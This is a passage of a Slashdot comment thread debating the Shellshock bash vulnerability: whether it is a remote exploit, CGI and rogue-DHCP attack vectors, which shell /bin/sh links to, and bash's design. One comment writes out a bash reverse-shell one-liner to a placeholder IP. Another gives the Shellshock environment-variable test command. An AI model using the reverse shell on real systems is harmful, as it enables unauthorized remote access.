      I don't hate apple, I was just pointing out to the AC that OS X was not a free hobby OS and it was impacted, too.

    72. Re: Soon to be patched by Anonymous Coward · · Score: 0

      bash isn't installed on bsd by default. you have to use the ports tree

    73. Re: Soon to be patched by Anonymous Coward · · Score: 0

      funny they have the money and resources but don't use any of it for QA and code reviews.

    74. Re:Soon to be patched by nevermore94 · · Score: 1

      All of your Linux servers could be auto-updating too. Our company had over 2000 Linux servers located all over the country updated in less than 24 hours of the bug being announced after we vetted the updates on our test servers.

      --
      Nevermore.
    75. Re:Soon to be patched by DeathElk · · Score: 1

      DeathElks-MacBook-Pro:~ deathelk$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
      this is a test

      Yeah right, MS fuckwit. You're getting fucked right now and you don't even realise it.

  2. There are no "remote" exploits for bash by gweihir · · Score: 4, Informative

    Bash does not have network connectivity. The only thing possible is that there may be remote code execution vulnerabilities when bash is used in connection with a network service like a web-server or ssh. Maybe try to have a minimum of accuracy in these stories?

    --
    Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
    1. Re:There are no "remote" exploits for bash by Anonymous Coward · · Score: 0

      system(3)

      Remote exploit check. Services exec shells all the time CGI, Apache, DHCP

    2. Re:There are no "remote" exploits for bash by Jade_Wayfarer · · Score: 1

      Correct me if I'm wrong, but isn't it still a pretty common case to have ssh and/or web-server services enabled on a server? And I think I saw examples of bash-exploits through HTTP-requests for Apache - could it be used with these Shellshock vulnerabilities?

      --
      Absence of proof != proof of absence.
    3. Re:There are no "remote" exploits for bash by Poeli · · Score: 1

      bash has network connectivity (since version 4 I think).

      Try: cat /dev/tcp/time.nist.gov/13

    4. Re:There are no "remote" exploits for bash by Anonymous Coward · · Score: 0

      Correct me if I'm wrong, but isn't it still a pretty common case to have ssh and/or web-server services enabled on a server? And I think I saw examples of bash-exploits through HTTP-requests for Apache - could it be used with these Shellshock vulnerabilities?

      If you are using the exploit with ssh you are using it against an account you are logged into aka yourself.

      Webserver services are usually handled by non-bash/non-cgi applications in this millenium. You can still find some, but they are far from common.

    5. Re:There are no "remote" exploits for bash by Anonymous Coward · · Score: 0

      In any other programming language an exploit that makes it possible to bypass any application defined input verification would be considered a massive bug, why should bash be exempt from this? This isn't limited to network services, the same problem applies when local but restricted users are able to pass input that will be parsed as environment variables by bash.
      Thanks to bash, environment variables has to be treated as a possible code injection vector.

    6. Re:There are no "remote" exploits for bash by Anonymous Coward · · Score: 0

      Well the most popular scripting language at least (PHP) is normally running as an apache module, and not as a CGI. So I believe it's not vulnerable to this attack. Of course, PHP can itself execute shell commands, but if the attacker is already adding his own PHP scripts to the server you probably have bigger problems.

    7. Re:There are no "remote" exploits for bash by DarkOx · · Score: 4, Informative

      Umm bash does indeed have network capabilities and I use them for getting reverse shells all the time.

      It can be compiled without it but in general its present on most linux systems.

      echo $(bash -i >& /dev/tcp/x.x.x.x/yyyy 0>&1)

      Where x.x.x.x is the ip and yyyy is the port you want to send the shell to, you can use a netcat listener on the remote host.

      --
      Repeal the 17th Amendment TODAY! Also Please Read http://www.gnu.org/philosophy/right-to-read.html
    8. Re:There are no "remote" exploits for bash by markus_baertschi · · Score: 4, Interesting
      Bash has network connectivity on plenty of servers because it is used to execute cgi-script by the webserver (and other network services).

      Here the definition of the system() function call often used to run external commands:

      system() executes a command specified in command by calling /bin/sh -c command

      /bin/sh is linked to /bin/bash and vulnerable. Executing external commands through system(), and therefore bash, is by far the easiest method, so it is widely used. It is sufficient to trick the server or daemon.

      Here a proof of concept where a dhcp server tricks a dhcp client into running an arbitrary command. https://www.trustedsec.com/sep...

      Markus

    9. Re:There are no "remote" exploits for bash by DarkOx · · Score: 3, Informative

      Yes CGI is the common vector you are seeing lots of on the internet, but the greater threat I think to many users is dhcp.

      If you have a Linux box that you get a dhcp address from GET IT PATCHED NOW.

      Anyone can stand up a rouge DHCP server on most networks. Corporate environments might be slightly safer IFF they are well run. That is dhcp snooping is enabled on all the edge switches along with port security so you can know there are no addition dump hubs/switches daisy chained.

      Otherwise DHCP options are passed as environment variables to the DHCP hook scripts on the client, even the default debug script that just returns if DEBUG is not set, and ships with dhclient would be vulnerable because the environment is parsed before any script content. You are walking around with a remote root exploit!

      --
      Repeal the 17th Amendment TODAY! Also Please Read http://www.gnu.org/philosophy/right-to-read.html
    10. Re:There are no "remote" exploits for bash by Anonymous Coward · · Score: 0

      $ cat /dev/tcp/time.nist.gov/13
      cat: /dev/tcp/time.nist.gov/13: No such file or directory

    11. Re:There are no "remote" exploits for bash by Anonymous Coward · · Score: 0

      That's still not a listening port. And it's not what this bug is about.

      It's about a problem where if you pass UNCHECKED INPUT from an untrusted source to bash through environment variables, suddenly it's bash' fault, where as if you pass unchecked input to an SQL server, the web developer is a moron.

    12. Re:There are no "remote" exploits for bash by Qzukk · · Score: 1

      aka yourself

      Or against github.

      --
      If I have been able to see further than others, it is because I bought a pair of binoculars.
    13. Re:There are no "remote" exploits for bash by Anonymous Coward · · Score: 5, Funny

      Anyone can stand up a rouge DHCP server on most networks.

      I tried to set up a rouge DHCP server once, but it left me marooned.

    14. Re:There are no "remote" exploits for bash by Poeli · · Score: 1

      Sorry, it's
      cat /dev/tcp/time.nist.gov/13

    15. Re:There are no "remote" exploits for bash by drinkypoo · · Score: 1

      /bin/sh is linked to /bin/bash and vulnerable.

      This was the first failure. sh should be sh, or at least a decent restrictable shell like ash or zsh, and bash should be bash.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    16. Re:There are no "remote" exploits for bash by Anonymous Coward · · Score: 0

      On ubuntu, sh is dash

    17. Re:There are no "remote" exploits for bash by reikae · · Score: 3, Interesting

      Third time's the charm:
      cat </dev/tcp/time.nist.gov/13

      :-) I wasn't aware of the feature, thanks.

    18. Re:There are no "remote" exploits for bash by Anonymous Coward · · Score: 0

      What a maroon...

    19. Re:There are no "remote" exploits for bash by Anonymous Coward · · Score: 1

      gotcha

      AC

    20. Re:There are no "remote" exploits for bash by Anonymous Coward · · Score: 1

      What? How dare you? My name matters to me!
      I'm Markus "thae aego" Baertschi, and don't you forget it!!!11

      Markus

    21. Re:There are no "remote" exploits for bash by Deagol · · Score: 2

      If you're on the RHEL security/patch list, you may have noticed a huge number of updates to ksh over the past couple of months. I found this odd -- until the recent shellshock thing went public. Perhaps this class of attack works against ksh as well? Looks like code reviews of core OS binaries may be ramping up since heartbleed.

    22. Re:There are no "remote" exploits for bash by markus_baertschi · · Score: 1

      Maybe.

      But this decision was probably made before ash or zsh were around. Probably after enough bugs were found in (probably unmaintained) /bin/sh that using the special posix sh mode of bash made lots of sense.

      Markus

    23. Re:There are no "remote" exploits for bash by F.Ultra · · Score: 2

      unless the default is dash like in for example debian and ubuntu of ocourse...

    24. Re:There are no "remote" exploits for bash by markus_baertschi · · Score: 1

      After some reflection I suspect that there never was a 'pure' /bin/sh on Linux. It may have been bash all along.

      Most commercial Unixes come with a dedicated /bin/bash and the korn shell. One could install bash, but this would be a 3rd party tool and not affect system().

      Markus

    25. Re:There are no "remote" exploits for bash by Anonymous Coward · · Score: 0

      That's an odd claim since I have a Debian server I installed last week off the latest image and it has this vulnerability, and the Ubuntu systems I update weekly have failed every one of these shellshock tests, but did pass the first one after I applied a patch session early.

    26. Re:There are no "remote" exploits for bash by genkernel · · Score: 1

      Anyone can stand up a rouge DHCP server on most networks.

      I tried to set up a rouge DHCP server once, but it left me marooned.

      This is a ruddy work of beauty.

      --
      Any sufficiently advanced incompetence is indistinguishable from malice.
    27. Re:There are no "remote" exploits for bash by daveewart · · Score: 1

      unless the default is dash like in for example debian and ubuntu of ocourse...

      It depends on the ancestry of the system. Recent installs appear to have /bin/sh symlinked to /bin/dash, but older installs (even if subsequently upgraded to latest stable) persist the former default of linking /bin/sh to /bin/bash

      Specifically, I've got servers which were originally installed in 2005, have been upgraded from the original Debian Sarge; these link to /bin/bash. Anything installed afresh since about Debian Lenny seems to have /bin/dash

      --
      "If you think the problem is bad now, just wait until we've solved it." --- Arthur Kasspe
    28. Re:There are no "remote" exploits for bash by operagost · · Score: 1

      That's like saying Perl or PHP can't have any remote code execution vulnerabilities, because you have to apache with mod_perl or mod_php turned on to exploit them.

      When you load mod_cgi, your shell becomes a potential platform for remote exploits.

      --

      Gamingmuseum.com: Give your 3D accelerator a rest.
    29. Re:There are no "remote" exploits for bash by Richy_T · · Score: 1

      Of course, a #!/bin/bash makes that irrelevant anyway.

    30. Re:There are no "remote" exploits for bash by Qzukk · · Score: 1

      Squeeze was the first version to default to dash.

      I'm pretty sure I was asked when upgrading to Squeeze if I wanted to make it the default, but the question may not have been a high-priority one so debconf could have been configured to skip it.

      --
      If I have been able to see further than others, it is because I bought a pair of binoculars.
    31. Re:There are no "remote" exploits for bash by kbahey · · Score: 1

      /bin/sh is linked to /bin/bash and vulnerable

      Not on Debian/Ubuntu. On those, /bin/sh is symlinked to dash, which is not vulnerable to Shellshock.

      To test this, I created a small PHP script, as follows:

      $ cat > x.php
      <?php
      system('echo hello there');

      I run the php script, and do an strace following children:

      $ strace -f -o output php x.php

      In the output I find this:

      28302 execve("/bin/sh", ["sh", "-c", "echo hello there"], [/* 24 vars */]) = 0

      And here is what /bin/sh links to ...

      $ ls -l /bin/sh
      lrwxrwxrwx 1 root root 4 Mar 29 2012 /bin/sh -> dash

    32. Re:There are no "remote" exploits for bash by fnj · · Score: 2

      /bin/sh is linked to /bin/bash and vulnerable

      Only for a distro which is designed and implemented STUPIDLY. Granted a lot of major distros do this. RHEL for example. And yes, it is stupid and lazy. It is stupid because bash does not perfectly implement POSIX sh behavior. Even when $0 is /bin/sh, the reduced emulation is flawed. It still allows extensions which expose bugs. And it is lazy because they allowed crap scripts to creep into the system so that they decided it was too hard to weed them out. A crap script is one whose shebang line says "#!/bin/sh" instead of "#!/bin/bash, which claims that all it needs is POSIX sh, but which still relies on bash extensions, because the writer never tested it on a real sh.

      Debian and ubuntu link /bin/sh to dash instead of bash. The BSDs do not link /bin/sh to anything; they start with a proper POSIX sh. Dash, and BSD sh, are much better implementations of POSIX sh behavior than bash is. They doesn't have the buggy extensions and are much lighter weight. The best interactive shell is not the best, or even necessarily an acceptable, scripting shell. You can install bash in debian or ubuntu or BSD and it doesn't hook into and take over /bin/sh.

      Let's not forget that the multiple bugs which have recently come to light are all in bash. I have seen nothing similar exposed in BSD sh, dash, mksh, csh/tcsh, or zsh. Looks to me like the coding of bash was crappy going back at least 25 years.

    33. Re:There are no "remote" exploits for bash by Anonymous Coward · · Score: 0

      For this exploit to work, the DHCP server needs to be compromised and your client needs to point to it. However, you can patch your client and kill the attack--so even after all that you still don't need to worry about the server.

    34. Re:There are no "remote" exploits for bash by Anonymous Coward · · Score: 0

      Anyone can stand up a rouge DHCP server

      Darn pinko commie services, can't nobody trust 'em!

    35. Re:There are no "remote" exploits for bash by Anonymous Coward · · Score: 0

      Yes, the closest to pure /bin/sh on Linux is ash (and its successor, dash), which is an open-source clone of sh (sh is closed-source due to being written at AT&T).

    36. Re:There are no "remote" exploits for bash by Anonymous Coward · · Score: 0

      Sorry. I should have realized that nobody would recognize me by my initials, I apologize, I'm new here.

      Anonymous Coward

    37. Re:There are no "remote" exploits for bash by styrotech · · Score: 1

      Perhaps this class of attack works against ksh as well?

      Apparently ksh was where bash originally got the idea about exportable functions from.

    38. Re:There are no "remote" exploits for bash by gweihir · · Score: 1

      It is. Still, this is _not_ a remote exploit in bash. The exploit in bash is quite local and only gets to be remote by insecure programming practices in CGI, for example.

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
    39. Re:There are no "remote" exploits for bash by gweihir · · Score: 1

      Well then, with that argument absolutely every exploit on the commandline becomes a remote one. That should show clearly that this is not an useful definition of the term "remote exploit".

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
    40. Re:There are no "remote" exploits for bash by Anonymous Coward · · Score: 0

      Except that Ralph Droms is a dyed-in-the-wool capitalist.

      "As a consultant in network architecture and infrastructure design, Ralph has worked with large and small companies on a variety of TCP/IP issues, including network architecture, server strategies and configurations, and the use of DHCP, DNS, and other technologies in network management."

      Also works for Cisco.

    41. Re:There are no "remote" exploits for bash by Anonymous Coward · · Score: 0

      The setup script for Altera's Quartus II IDE uses "/bin/env" to find "sh" on Linux. I mean WTF... env isn't located in /bin on most systems. env isn't even given a standard location by POSIX or LSB, whereas sh is. Granted, they assume some ancient version of RH, but it works fine on Debian.

      Random WTF appropriate to the topic.

    42. Re:There are no "remote" exploits for bash by rioki · · Score: 1

      Isn't one of the reasons why you would use git-shell for the git user? If you are running bash for the git user you failed as an admin.

    43. Re:There are no "remote" exploits for bash by rioki · · Score: 1

      But that is outbound, not inbound. Bash is not listening for connections, that is the key point.

    44. Re:There are no "remote" exploits for bash by fnj · · Score: 1

      The setup script for Altera's Quartus II IDE uses "/bin/env" to find "sh" on Linux. I mean WTF... env isn't located in /bin on most systems. env isn't even given a standard location by POSIX or LSB, whereas sh is. Granted, they assume some ancient version of RH, but it works fine on Debian.

      Since linux has now fucked up the directory structure, /bin/env is the same as /usr/bin/env now. Hey, look on the plus side. It's easier to find executables now.

      Now /bin, /usr/bin, /sbin, and /usr/sbin are now all symlinked to one place, and /lib, /lib64, /usr/lib, and /usr/lib64 are all symlinked to one place. At least that's the way it is on arch, and I have no doubt all distros will be going that route.

    45. Re:There are no "remote" exploits for bash by F.Ultra · · Score: 1

      Which is not surprising since you tested if bash on your system was vulnerable, not if /bin/sh was!

    46. Re:There are no "remote" exploits for bash by kylemonger · · Score: 1

      A lot of things were coded crappily 25 years ago; that much time takes us all the way back to 1989 when the Morris worm waltzed across what passed for the Internet in those days. Given that we still haven't engineered away buffer overflow vulnerabilities after all that time, it's unsurprising that we haven't come close to fixing all the other stuff.

  3. Is the bash parser a lost cause? by benjymouse · · Score: 1, Flamebait

    Seems to me that there are multiple indications that the parser is quirky, ad-hoc and error-prone. Parser construction is an old discipline. Was the bash parser created by people without the proper training, and has later maintenance ignored code because it was too weird?

    --
    Reading slashdot one-liner: (irm http://rss.slashdot.org/Slashdot/slashdot).rdf.item | fl title,desc*
    1. Re:Is the bash parser a lost cause? by Anonymous Coward · · Score: 1

      Most of this code dates from the early 1990's, in a shell that was written to be directly (in some cases, bug-for-bug) compatible with the Bourne shell, which dates from the late 1970's. Not only was parser construction a significantly less old discipline then, but the language was quirky by 1990 standards and has evolved features since that point that were never part of the original design.

    2. Re:Is the bash parser a lost cause? by Anonymous Coward · · Score: 0

      The problem is that it's old and was made to be compatible with something even older. It's not really the fault of the ppl who wrote it, they never imagined it would be used in web facing applications.

      Many folks are now calling it "unfixable" for this kind of use.

    3. Re:Is the bash parser a lost cause? by Eravnrekaree · · Score: 1

      Backwards compatability, which is a language design issue, has absolutely nothing to do with the implementation problems we see with these bugs. A good parser can implement backwards compatability without difficulty or problems. One option I like is recursive descent and ascent parsing with backtracking for ease of understanding and versatility, even if it may not be the most efficient.

    4. Re:Is the bash parser a lost cause? by Eravnrekaree · · Score: 1

      Wrong. Most software programs have had big bugs like this that need to be fixed, including Java and Python. For example http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1912. Python has had a dozen remote code exploit attacks. So why do people keep picking on Bash when many other software programs have had these problems.

    5. Re:Is the bash parser a lost cause? by fnj · · Score: 1

      why do people keep picking on Bash when many other software programs have had these problems

      Those programs are not shells. Now show me bugs in BSD's POSIX sh, or dash, or mksh, or zsh that approach anywhere near the unacceptable gross severity of Shellshock in bash. If you can do that, we might lay off flaying bash. Until then, it is bloody obvious why we keep "picking on" bash.

  4. not supposed to be on the web! by Anonymous Coward · · Score: 1

    I'm not sure bash was ever intended to be involved in web facing applications. That's not what it's for! Once you go down that road, even indirectly, there's a lot that can go wrong.

    Maybe next someone will run arbitrary user input from the web through g++, execute it in ring 0, and call it a security hole?

    1. Re:not supposed to be on the web! by LookIntoTheFuture · · Score: 2

      I'm not sure bash was ever intended to be involved in web facing applications. That's not what it's for! Once you go down that road, even indirectly, there's a lot that can go wrong.

      Maybe next someone will run arbitrary user input from the web through g++, execute it in ring 0, and call it a security hole?

      Ah. So you've heard of systemd?

      Dun, dun, dun, tsss. Is it getting hot in here?

      --
      Brave Sir Robin ran away. ("No!") Bravely ran away away. ("I didn't!")
    2. Re:not supposed to be on the web! by alienmole · · Score: 4, Interesting

      Yeah, this is what bothers me about this whole thing. People are acting like this is a terrible security hole outside of anyone's control, but if you're running an environment which allows for remote execution of anything via bash, I feel like Agent Smith said it best: "your men are already dead." That hasn't been a plausible architecture for public-facing applications for at least a decade. I remember working hard to get away from CGI-style approaches in the late '90s - back then, it was more for performance than security, but the security was an added bonus that became more apparent later.

    3. Re:not supposed to be on the web! by nedlohs · · Score: 1

      If you assume you are not you are being an idiot.

      I'm sure people didn't think their DHCP client ran a bash script after injecting some remote data into the environment, as the obvious example.

      Do you run qmail? Oops, hopefully no users have a .qmail file.

      Exim or postfix? You've checked all the things they execute I take it, and all the things that those things execute and so on?

      Users using procmail? None of them have an exploitable match (or are adding one a minute after you checked them all)?

      If you admin a bunch of web servers are you sure that there isn't a CGI script somewhere? Are you sure it doesn't call system()/popen() anywhere?

    4. Re:not supposed to be on the web! by Cid+Highwind · · Score: 3, Insightful

      And it's the developers of all those packages and distros that symlink /bin/sh to bash instead of something minimal and well-audited that we should be screaming at. But "remote root exploit in bash" is sexier (after all, Apple doesn't put procmail on every Mac) so that's what goes in the headline.
       
      ...and next time someone goes on a rant about systemd versus "the Unix way", remember that daemons passing input from the network to /bin/sh is part of "the Unix way".

      --
      0 1 - just my two bits
    5. Re:not supposed to be on the web! by Glothar · · Score: 1

      You seem to be missing the point.

      No, the vast majority of professional web stacks don't use bash for anything at all. No serious web host has CGI's that start with #!/bin/sh.

      But that's not the end of the vulnerability. Bash will trigger its bug whenever its run. It doesn't need to be the CGI handler. It just needs to be run. Loads of web shops use Perl or PHP. How many of them have written their code so that it always uses the array-form of system() in Perl or things like proc_open() in PHP? How many people have written code that uses system() or backticks or shell_exec() or its equivalent? If you have, then there's a good chance you've just invoked bash in your web environment. If you're running through any sort of CGI environment, then you're vulnerable.

    6. Re:not supposed to be on the web! by belphegore · · Score: 1

      Uh. Apple *does* put /usr/bin/procmail on every Mac.

    7. Re:not supposed to be on the web! by viperidaenz · · Score: 1

      I assumed my dhcp client ran a dash script, not a bash one.

    8. Re:not supposed to be on the web! by Cid+Highwind · · Score: 1

      Well, shit. That's what I get for not ssh-ing into a Mac to check.

      --
      0 1 - just my two bits
    9. Re:not supposed to be on the web! by countach · · Score: 1

      You're right, but on the other hand, putting executable code in environment variables always was asking for trouble, web or no web.

  5. Nothing to do with language by dutchwhizzman · · Score: 5, Insightful

    First of all, it's Bourne shellcode and bash has extensions to it. Second of all, whether the programming language is bad or not is totally not relevant. It's the parser in the shell itself that has some fundamental flaws because it executes code inside environment variables that are totally unchecked. You could have a brilliant programming language and still make the exact same mistake.

    While you may say that is "by design" it is not common for Bourne shell to do so and most of shell scripts are written to be Bourne shell compatible. By choosing to allow this to happen, Bash programmers made a giant hole in shell security.

    --
    I was promised a flying car. Where is my flying car?
    1. Re:Nothing to do with language by Chris+Mattern · · Score: 0

      It's the parser in the shell itself that has some fundamental flaws because it executes code inside environment variables that are totally unchecked.

      Which makes it a bad language, because bash not only allows but *requires* the execution of code inside environment variables.

      You could have a brilliant programming language and still make the exact same mistake.

      Well, no, because a brilliant programming language would not allow the execution of code inside interpolated environment variables as part of its specification.

    2. Re:Nothing to do with language by Anonymous Coward · · Score: 1

      but *requires* the execution of code inside environment variables.

      Except it doesn't, the parser could parse out the function definition without executing any of it. Other shells have managed to do this without fucking up.

      Well, no, because a brilliant programming language would not allow the execution of code inside interpolated environment variables as part of its specification.

      So brilliant programming languages do not permit eval($ENV["FOO"])?

    3. Re:Nothing to do with language by K.+S.+Kyosuke · · Score: 3, Insightful

      The problem with bash is that even more than most shells (perhaps except for zsh), it's exceedingly obscure and baroque. This kind of featuritis, combined with the N^2 interaction between the individual features, tends to lead to unexpected consequences. What happened to "keep things simple" with shells?

      --
      Ezekiel 23:20
    4. Re:Nothing to do with language by jones_supa · · Score: 1

      Well, no, because a brilliant programming language would not allow the execution of code inside interpolated environment variables as part of its specification.

      You probably meant "interpreted" instead of "interpolated".

    5. Re: Nothing to do with language by TheGavster · · Score: 1

      Interpolated is correct; it means to expand specially marked parts of a string. For example, in a double quoted string, Perl will replace a word preceded by a dollar sign with the contents of the variable with that name. This operation is to "interpolate" the variable.

      --
      "Because Science" is one step from "Because old book". Try "Because of my experiment testing my falsifiable assertion".
    6. Re:Nothing to do with language by Anonymous Coward · · Score: 1, Interesting

      So brilliant programming languages do not permit eval($ENV["FOO"])?

      Correct, because good programming languages don't have anything like eval().

      Normally, in a decent programming language, if you're convinced you really need to execute unknown-until-runtime code, the first step is to get over your misconception. If you're unable to get over the misconception, then you do something like
      fopen('tmp.c'); fwrite... fclose, system('cc variousflags tmp.c'); system('tmp'); and then you spend the next few weeks worrying about how awful what you did was, and rethink your unnecessary "need" to run generated code.

    7. Re:Nothing to do with language by Anonymous Coward · · Score: 5, Funny

      The problem with bash is that even more than most shells (perhaps except for zsh), it's exceedingly obscure and baroque.

      Of course it is baroque. That's why they are working hard to fix it.

    8. Re:Nothing to do with language by benjymouse · · Score: 1

      Second of all, whether the programming language is bad or not is totally not relevant.

      On the contrary, it is deeply relevant. As long as you manipulate simple values you can do so pretty safely, even with a single-type (text) language like bash. But the second you also represent code as a value, you are setting yourself up for security problems.

      This goes deeper than bash: All of the POSIX-like shells were always dangerous in the way file names and other parameters were passed to commands. Miss a proper quoting and you set yourself up for injection through a simple filename (one with a few unusual characters).

      Admittedly, bash has taken it a bit further and wanted a way to allow passing functions to subshells. Again, it was a way to mitigate an inherent limitation with *sh shells: The way every command on a pipeline was executed in its own process and thus could not leverage functions and other constructs from the ultimate parent shell.

      But the real problem is lack of strong types. As I said above, strong types are not terribly important (but can still help) as long as you manipulate simple values. But when those values can include executable content, knowing what type a passed parameter is supposed to be (string or code?) become a security feature.

      In PowerShell you have advanced scripting where functions can be invoked from nested scopes. But in PowerShell, script blocks is a separate type. Nowhere will a function or cmdlet just execute a string, except for the cmdlet called Invoke-Expression which is roughly equivalent to bash eval. You have to ask for it to interpret a string as code. bash also has an eval function, but parameters passed to utilities such as find can also execute text!

      --
      Reading slashdot one-liner: (irm http://rss.slashdot.org/Slashdot/slashdot).rdf.item | fl title,desc*
    9. Re:Nothing to do with language by kefalonia · · Score: 1

      +1

      Having been an avid bash user for almost as long as the bug existed, and written countless shell scripts in it for that matter, I cannot avoid agreeing with parent. Fact is, shell language definition is nowhere near high-quality BNF-defined syntactical structure, therefor it is unknown how many more fancy bugs are hidden in the parser. What worries me even more are the famous bashisms, of which we all fall victims sooner or later: *users* and subsequent sysadmins of our produced software may fall victims of such code, suffering from unneeded compatibility issues. Shell scripting is certainly a very kludgy area of modern unix systems and it takes great effort to keep things tidy and maintainable.

    10. Re:Nothing to do with language by Richy_T · · Score: 1

      I try to avoid shell scripting wherever possible (and when it's not a trivial script). That it has its foot in both the command line and programming leads to some oddness. Unless you are very careful, it's easy to produce something which may run fine in a simple case but there are edge cases where things either break or introduce security holes. Spaces in filenames can break things, carefully constructed filenames can cause data loss or worse. Much better, in my opinion, to use a proper programming language where variables are variables and treated as such explicitly.

    11. Re:Nothing to do with language by TheRaven64 · · Score: 1

      The real problem has nothing to do with types, it has to do with design compromises to work around the fact that UNIX lacked shared libraries. Rather than provide a glob function that everyone could use (as with later versions of UNIX, after shared libraries were added), they put globing in the shell. This meant that the shell became responsible for handling some arguments, the command for handling others. As a natural consequence, you needed to provide a mechanism to escape the command-line arguments that you didn't want the shell to get at. And then you start using shell invocations as your mechanism of running programs (via the system() C library call) and now you need double escaping or triple escaping and so on.

      --
      I am TheRaven on Soylent News
    12. Re: Nothing to do with language by timeOday · · Score: 1

      Now, in defense of perl, symbolic references (which is what those are called in perl) are disabled if you "use strict" which is certainly a recommended practice for anything network-connected!

    13. Re:Nothing to do with language by GuB-42 · · Score: 1

      ... system('cc variousflags tmp.c'); ...

      Funny : the "system()" function calls a shell, which is commonly bash on linux distros.
      In fact this function probably caused more holes than everything else in the libc. Either as a an attack vector or as a convenient target for exploit payloads.

    14. Re:Nothing to do with language by TemporalBeing · · Score: 1

      So brilliant programming languages do not permit eval($ENV["FOO"])?

      Correct, because good programming languages don't have anything like eval().

      Normally, in a decent programming language, if you're convinced you really need to execute unknown-until-runtime code, the first step is to get over your misconception. If you're unable to get over the misconception, then you do something like fopen('tmp.c'); fwrite... fclose, system('cc variousflags tmp.c'); system('tmp'); and then you spend the next few weeks worrying about how awful what you did was, and rethink your unnecessary "need" to run generated code.

      eval() is not C or C++. It's Bourne Shell, and it's a necessary evil for a Shell language to have. That said:

      So what again was your point?

      --
      Truth is like the sun. You can shut it out for a time, but it ain't goin' away. - Elvis Presley (source: imdb.com)
    15. Re:Nothing to do with language by GuB-42 · · Score: 1

      The problem is not that it is obscure and baroque, the problem is that it tries to be both an interactive shell and a programming language.
      Zsh is clearly designed as an interactive shell, not something that will be called by a daemon or used in init scripts. As such it can get away with shellshock-like bugs, changing specs and complexity. If it makes the user's life easier, that's ok.
      Bash also attempt to offer great interactive features but because it is also the interpreter for most shell scripts in linux, it also has to stay consistent and robust. As a result, well, I believe it fails at both. It's way behind zsh as an interactive shell and it's even messier than perl as a programming language.

    16. Re:Nothing to do with language by shutdown+-p+now · · Score: 1

      Even if it does, you're basically allowing the introduction of functions into the scope of your script with both names and bodies defined completely by untrusted input. It's insane.

    17. Re: Nothing to do with language by Tsiangkun · · Score: 1

      I think you talking about soft reference variable creation. $dog="fido"; $$dog = "roofuss"; print $fido; While, the parent was writing about plain old interpolation $dog="fido"; print "my dogs name is $dog";

  6. this is why... by Anonymous Coward · · Score: 0

    you want to run ssh on openbsd where you'll get ksh instead of bash. yet another time when openbsd users shrug and move on...

    1. Re:this is why... by Anonymous Coward · · Score: 0

      I sure hope you don't have any cgis on your openbsd system that call #!/usr/local/bin/bash

      Just sayin...

    2. Re:this is why... by F.Ultra · · Score: 1

      or Debian and Ubuntu where /bin/sh is Dash and not Bash!

    3. Re:this is why... by Anonymous Coward · · Score: 0

      Bash isn't installed on OpenBSD by default.

      Calling /usr/local/bin/bash for most people will simply result in a "bash not found"

    4. Re:this is why... by Anonymous Coward · · Score: 0

      Well aware of its not installed by default on OpenBSD. Why do you think I said /usr/local/bin/bash? I think you'd agree its pretty commonly installed as its often requested as an interactive shell, especially if you have a system with lusers.

      Hell even if you have a luser on your system and they went and compiled and installed a copy of bash in their home directory, you could even have exposure to this bug too. It's certainly not hard for a luser to setup something like #!/home/luser/bin/bash and then run that from a system() call in php or something. Some people like their bashisms...

    5. Re:this is why... by Arker · · Score: 0

      Yeah, you know you can link anything you want to /bin/sh at any time, right?

      No need to switch OS when a single command will do what you want.

      --
      =-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Friends don't let friends enable ecmascript.
    6. Re:this is why... by Anonymous Coward · · Score: 0

      Have fun with your boot daemons failing because the maintainer used a bashism, then.

  7. More bugs and exploits by GeekWithAKnife · · Score: 5, Funny


    Rejoice my brethren; finally linux is becoming popular, the year of the desktop is upon us!

    --
    A 'singular oddity' is an event that cannot be explained and only happens when you are alone.
  8. Re:Bash is a very crappy programming language. by Anonymous Coward · · Score: 0

    wait, what? Bash is a "programming language"?

  9. The headlines are changing by Anonymous Coward · · Score: 4, Interesting

    A quick wrap-up of some Slashdot headlines about Windows and open source vulnerabilities. This might not be enough data to say anything certain, but an interesting trend is surely developing.

    2004: New Windows Vulnerability in Help System
    2004: Four New Unpatched Windows Vulnerabilities
    2007: Windows Vulnerability in Animated Cursor Handling
    2010: Windows DLL Vulnerability Exploit in the Wild
    2012: Windows Remote Desktop Exploit in the Wild
    2014: 23 Year Old X11 Server Security Vulnerability Discovered
    2014: OpenSSL Bug Allows Attackers to Read Memory in 64k Chunks
    2014: Remote Exploit Vulnerability in Bash

    1. Re:The headlines are changing by reikae · · Score: 2

      Comparing an operating system to a development model ought to throw an exception.

    2. Re:The headlines are changing by Anonymous Coward · · Score: 0

      You've cherry-picked eight headline out of I don't know how many over an 11 year period and expect anyone to draw any kind of conclusion?

  10. Call it what you will by benjymouse · · Score: 5, Insightful

    The fact is that bash allows external entities to poison environment variables ahead of invocation, causing unintended behavior in bash when it is launched as a child process.

    You are correct that this is not a remote exploit by itself. Only with CGI does it become remote. It is a code injection vulnerability that when used with CGI becomes a remotely exploitable vulnerability.

    This is not a "blanded" attack that combines with a CGI vulnerability. There is no vulnerability in CGI; it works as specified (you could say that there is a design vulnerability in CGI - and I would agree about that).

    --
    Reading slashdot one-liner: (irm http://rss.slashdot.org/Slashdot/slashdot).rdf.item | fl title,desc*
    1. Re:Call it what you will by c · · Score: 3, Insightful

      The fact is that bash allows external entities to poison environment variables ahead of invocation, causing unintended behavior in bash when it is launched as a child process.

      Well, it's not that it allows external entities to poison the environment, it's that it gives the finger to that basic secure programming practice where you should just assume that externally provided input is tainted data.

      (you could say that there is a design vulnerability in CGI - and I would agree about that).

      Debatable.

      There's nothing in the CGI specification that requires or suggests that there needs to be any kind of intermediary in handling the reqests aside from the web server. The environment is a perfectly legitimate way of passing data, and if the web server calls the CGI safely (i.e. pipe()/fork()/exec()) there's no reason for a transient interpreter like bash to get involved. And, aside from security, the performance hit of invoking a shell just to launch another program makes it a bit silly to do it any other way.

      And I'd point out that it's possible to explicitly control the environment of a subprocess (i.e. execle()), so anything calling a CGI program can at least sanitize things to minimize any damage. Not that the CGI should depend on the caller to sanitize things, of course.

      On the other hand, the environment is a perfectly stupid way to pass code around.

      --
      Log in or piss off.
